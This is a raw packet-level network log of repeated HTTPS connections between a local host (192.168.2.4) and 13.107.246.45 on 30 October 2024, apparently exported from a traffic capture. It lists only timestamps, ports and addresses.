Oct 30, 2024 02:28:34.113066912 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.113086939 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.113135099 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.113321066 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.113327026 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.113336086 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.113338947 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.115511894 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.115540981 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.115623951 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.115736961 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.115755081 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.130307913 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.130703926 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.130723953 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.131278992 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.131285906 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.276457071 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.276693106 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.276751041 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.276814938 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.276839972 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.276853085 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.276859999 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.280077934 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.280162096 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.280247927 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.280479908 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.280536890 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.426517963 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.427022934 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.427037954 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.427473068 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.427478075 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.565565109 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.565763950 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.565845013 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.565992117 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.566004038 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.566014051 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.566019058 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.569154024 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.569174051 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.569271088 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.569474936 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.569487095 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.714183092 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.714728117 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.714744091 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.715344906 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.715352058 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.721626997 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.722296000 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.722318888 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.722826958 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.722831964 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.849056959 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.849226952 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.849277020 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.851525068 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.851547003 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.851557970 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.851568937 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.858918905 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.863476038 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.863553047 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.863606930 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.863616943 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.863672018 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.863723993 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.865402937 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.865422964 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.866204023 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.866209984 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.866745949 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.866755962 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.866765976 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.866770029 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.877250910 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.877337933 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.877433062 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.877671003 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.877712011 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.880323887 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.880366087 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.880434990 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.880654097 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.880678892 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.994431019 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.994513988 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.994573116 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.994782925 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.994792938 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.994803905 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.994808912 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.997594118 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.997627020 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.997731924 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.997872114 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:34.997884989 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.029112101 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.029691935 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.029753923 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.030111074 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.030127048 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.160348892 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.160438061 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.160547972 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.160621881 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.160621881 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.160712004 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.160712004 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.160753012 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.160783052 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.162998915 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.163079977 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.163172960 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.163289070 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.163335085 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.304687023 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.305301905 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.305325985 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.305767059 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.305773020 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.436351061 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.436503887 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.436573982 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.436655998 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.436676025 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.436688900 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.436693907 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.439649105 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.439699888 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.439918995 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.440133095 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.440144062 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.615489006 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.615993977 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.616091013 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.616455078 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.616472960 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.654640913 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.655082941 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.655128956 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.655498981 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.655509949 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.734395027 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.734883070 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.734913111 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.735326052 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.735331059 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.745743036 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.745812893 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.745881081 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.745934963 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.745965958 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.746026993 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.746078014 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.746078014 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.746113062 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.746139050 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.748737097 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.748763084 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.748847961 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.748996019 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.749008894 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.790523052 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.790673971 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.790750980 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.790817976 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.790817976 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.790863991 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.790894032 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.793046951 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.793096066 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.793229103 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.793385983 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.793409109 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.866997957 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.867126942 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.867177010 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.867501974 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.867527008 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.867541075 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.867546082 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.872195005 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.872217894 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.872273922 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.872443914 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.872457981 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.896981955 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.897336960 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.897361040 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:35.897735119 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:35.897747040 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.031091928 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.031281948 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.031367064 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.075967073 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.076009035 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.076073885 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.076082945 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.079725981 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.079792976 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.079885006 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.080168962 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.080214024 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.182826996 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.187728882 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.187758923 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.195538044 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.195544004 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.320169926 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.320235968 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.320324898 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.320338011 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.320409060 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.320455074 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.320477962 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.320488930 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.320494890 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.328335047 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.328417063 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.328550100 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.328668118 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.328701019 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.476974010 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.477508068 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.477531910 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.477972984 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.477977991 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.536425114 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.536801100 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.536859989 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.537173986 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.537188053 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.605068922 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.605235100 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.605298996 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.605355024 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.605371952 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.605382919 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.605386972 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.607626915 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.607691050 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.607759953 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.607876062 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.607887983 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.642945051 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.643362045 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.643387079 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.643794060 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.643799067 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.667380095 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.667551041 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.667629004 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.667751074 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.667751074 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.667798996 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.667826891 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.670496941 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.670605898 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.670708895 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.670862913 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.670897961 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.779097080 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.779180050 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.779280901 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.779496908 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.779514074 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.779522896 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.779526949 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.781830072 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.781872034 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.781939030 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.782064915 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.782079935 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.833960056 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.834332943 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.834382057 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.834899902 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.834912062 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.965989113 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.966157913 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.966244936 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.966387033 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.966430902 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.966461897 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.966476917 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.969459057 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.969508886 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:36.969604969 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.969762087 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:36.969779015 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.073700905 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.074193954 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.074243069 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.074626923 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.074641943 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.203357935 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.203438997 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.203552961 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.203793049 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.203793049 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.203862906 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.203895092 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.207089901 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.207123995 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.207212925 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.207457066 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.207469940 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.341041088 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.341610909 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.341651917 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.342092991 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.342099905 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.418534994 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.419034004 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.419120073 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.419684887 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.419701099 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.471398115 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.471556902 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.471616030 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.471848011 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.471870899 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.471888065 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.471894026 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.474630117 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.474663019 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.474739075 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.474843979 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.474850893 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.521565914 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.522075891 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.522092104 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.522865057 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.522871971 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.549051046 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.549201012 CET	443	49990	13.107.246.45	192.168.2.4
